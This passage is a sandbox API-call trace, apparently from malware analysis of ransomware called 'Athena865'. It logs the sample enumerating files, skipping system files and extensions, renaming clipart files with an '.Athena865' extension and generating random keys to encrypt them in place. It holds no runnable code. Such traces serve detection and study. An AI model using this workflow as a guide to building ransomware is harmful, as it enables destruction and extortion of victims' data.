CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe730, lpName=0x0) returned 0x154 [0130.196] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xe730) returned 0x100000 [0130.200] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.203] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.203] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.203] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.203] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.204] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.205] CloseHandle (hObject=0x154) returned 1 [0130.205] CloseHandle (hObject=0x17c) returned 1 [0130.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.205] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2=".") returned 1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="..") returned 1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="windows") returned -1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="bootmgr") returned 1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="temp") returned -1 [0130.205] lstrcmpiW (lpString1="J0296279.WMF", lpString2="pagefile.sys") returned -1 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2="boot") returned 1 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2="ids.txt") returned 1 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2="ntuser.dat") returned -1 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2="perflogs") returned -1 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2="MSBuild") returned -1 [0130.206] lstrlenW (lpString="J0296279.WMF") returned 12 [0130.206] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0296279.WMF" | out: lpString1="J0296279.WMF") returned="J0296279.WMF" [0130.206] lstrlenW (lpString="J0296279.WMF") returned 12 [0130.206] lstrlenW (lpString="Athena865") returned 9 [0130.206] lstrcmpiW (lpString1="96279.WMF", lpString2="Athena865") returned -1 [0130.206] lstrlenW (lpString=".dll") returned 4 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2=".dll") returned 1 [0130.206] lstrlenW (lpString=".lnk") returned 4 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2=".lnk") returned 1 [0130.206] lstrlenW (lpString=".ini") returned 4 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2=".ini") returned 1 [0130.206] lstrlenW (lpString=".sys") returned 4 [0130.206] lstrcmpiW (lpString1="J0296279.WMF", lpString2=".sys") returned 1 [0130.206] lstrlenW (lpString="J0296279.WMF") returned 12 [0130.206] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.Athena865") returned 73 [0130.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.athena865"), dwFlags=0x1) returned 1 [0130.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.208] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67726) returned 1 [0130.208] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.209] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.209] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.210] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.210] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.210] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10b90, lpName=0x0) returned 0x154 [0130.212] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10b90) returned 0x100000 [0130.216] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.217] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.217] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.218] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.218] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.218] CloseHandle (hObject=0x154) returned 1 [0130.219] CloseHandle (hObject=0x17c) returned 1 [0130.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.219] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.219] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x107ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0296288.WMF", cAlternateFileName="")) returned 1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2=".") returned 1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="..") returned 1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="windows") returned -1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="bootmgr") returned 1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="temp") returned -1 [0130.219] lstrcmpiW (lpString1="J0296288.WMF", lpString2="pagefile.sys") returned -1 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2="boot") returned 1 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2="ids.txt") returned 1 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2="ntuser.dat") returned -1 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2="perflogs") returned -1 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2="MSBuild") returned -1 [0130.220] lstrlenW (lpString="J0296288.WMF") returned 12 [0130.220] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0296288.WMF" | out: lpString1="J0296288.WMF") returned="J0296288.WMF" [0130.220] lstrlenW (lpString="J0296288.WMF") returned 12 [0130.220] lstrlenW (lpString="Athena865") returned 9 [0130.220] lstrcmpiW (lpString1="96288.WMF", lpString2="Athena865") returned -1 [0130.220] lstrlenW (lpString=".dll") returned 4 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2=".dll") returned 1 [0130.220] lstrlenW (lpString=".lnk") returned 4 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2=".lnk") returned 1 [0130.220] lstrlenW (lpString=".ini") returned 4 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2=".ini") returned 1 [0130.220] lstrlenW (lpString=".sys") returned 4 [0130.220] lstrcmpiW (lpString1="J0296288.WMF", lpString2=".sys") returned 1 [0130.220] lstrlenW (lpString="J0296288.WMF") returned 12 [0130.220] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.Athena865") returned 73 [0130.220] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.athena865"), dwFlags=0x1) returned 1 [0130.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.222] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67564) returned 1 [0130.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.222] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.222] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.223] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.223] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.223] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10af0, lpName=0x0) returned 0x154 [0130.227] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10af0) returned 0x100000 [0130.231] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.231] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.231] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.231] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.232] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.232] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.232] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.233] CloseHandle (hObject=0x154) returned 1 [0130.233] CloseHandle (hObject=0x17c) returned 1 [0130.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.233] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.233] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x59ce, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297229.WMF", cAlternateFileName="")) returned 1 [0130.233] lstrcmpiW (lpString1="J0297229.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2=".") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="..") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="windows") returned -1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="bootmgr") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="temp") returned -1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="pagefile.sys") returned -1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="boot") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="ids.txt") returned 1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="ntuser.dat") returned -1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="perflogs") returned -1 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2="MSBuild") returned -1 [0130.234] lstrlenW (lpString="J0297229.WMF") returned 12 [0130.234] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0297229.WMF" | out: lpString1="J0297229.WMF") returned="J0297229.WMF" [0130.234] lstrlenW (lpString="J0297229.WMF") returned 12 [0130.234] lstrlenW (lpString="Athena865") returned 9 [0130.234] lstrcmpiW (lpString1="97229.WMF", lpString2="Athena865") returned -1 [0130.234] lstrlenW (lpString=".dll") returned 4 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2=".dll") returned 1 [0130.234] lstrlenW (lpString=".lnk") returned 4 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2=".lnk") returned 1 [0130.234] lstrlenW (lpString=".ini") returned 4 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2=".ini") returned 1 [0130.234] lstrlenW (lpString=".sys") returned 4 [0130.234] lstrcmpiW (lpString1="J0297229.WMF", lpString2=".sys") returned 1 [0130.234] lstrlenW (lpString="J0297229.WMF") returned 12 [0130.235] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.Athena865") returned 73 [0130.235] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.athena865"), dwFlags=0x1) returned 1 [0130.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297229.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297229.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.236] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=22990) returned 1 [0130.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.236] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.236] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.237] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.237] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.237] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5cd0, lpName=0x0) returned 0x154 [0130.239] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5cd0) returned 0x100000 [0130.241] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.241] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.241] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0130.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0130.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0130.241] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0130.242] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0130.242] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0130.242] CloseHandle (hObject=0x154) returned 1 [0130.242] CloseHandle (hObject=0x17c) returned 1 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0130.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0130.243] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0297269.WMF", cAlternateFileName="")) returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2=".") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="..") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="windows") returned -1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="bootmgr") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="temp") returned -1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="pagefile.sys") returned -1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="boot") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="ids.txt") returned 1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="ntuser.dat") returned -1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="perflogs") returned -1 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2="MSBuild") returned -1 [0130.243] lstrlenW (lpString="J0297269.WMF") returned 12 [0130.243] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0297269.WMF" | out: lpString1="J0297269.WMF") returned="J0297269.WMF" [0130.243] lstrlenW (lpString="J0297269.WMF") returned 12 [0130.243] lstrlenW (lpString="Athena865") returned 9 [0130.243] lstrcmpiW (lpString1="97269.WMF", lpString2="Athena865") returned -1 [0130.243] lstrlenW (lpString=".dll") returned 4 [0130.243] lstrcmpiW (lpString1="J0297269.WMF", lpString2=".dll") returned 1 [0130.244] lstrlenW (lpString=".lnk") returned 4 [0130.244] lstrcmpiW (lpString1="J0297269.WMF", lpString2=".lnk") returned 1 [0130.244] lstrlenW (lpString=".ini") returned 4 [0130.244] lstrcmpiW (lpString1="J0297269.WMF", lpString2=".ini") returned 1 [0130.244] lstrlenW (lpString=".sys") returned 4 [0130.244] lstrcmpiW (lpString1="J0297269.WMF", lpString2=".sys") returned 1 [0130.244] lstrlenW (lpString="J0297269.WMF") returned 12 [0130.244] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.Athena865") returned 73 [0130.244] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.athena865"), dwFlags=0x1) returned 1 [0130.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.245] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=15652) returned 1 [0130.245] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.246] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.246] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.246] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.246] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.247] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4030, lpName=0x0) returned 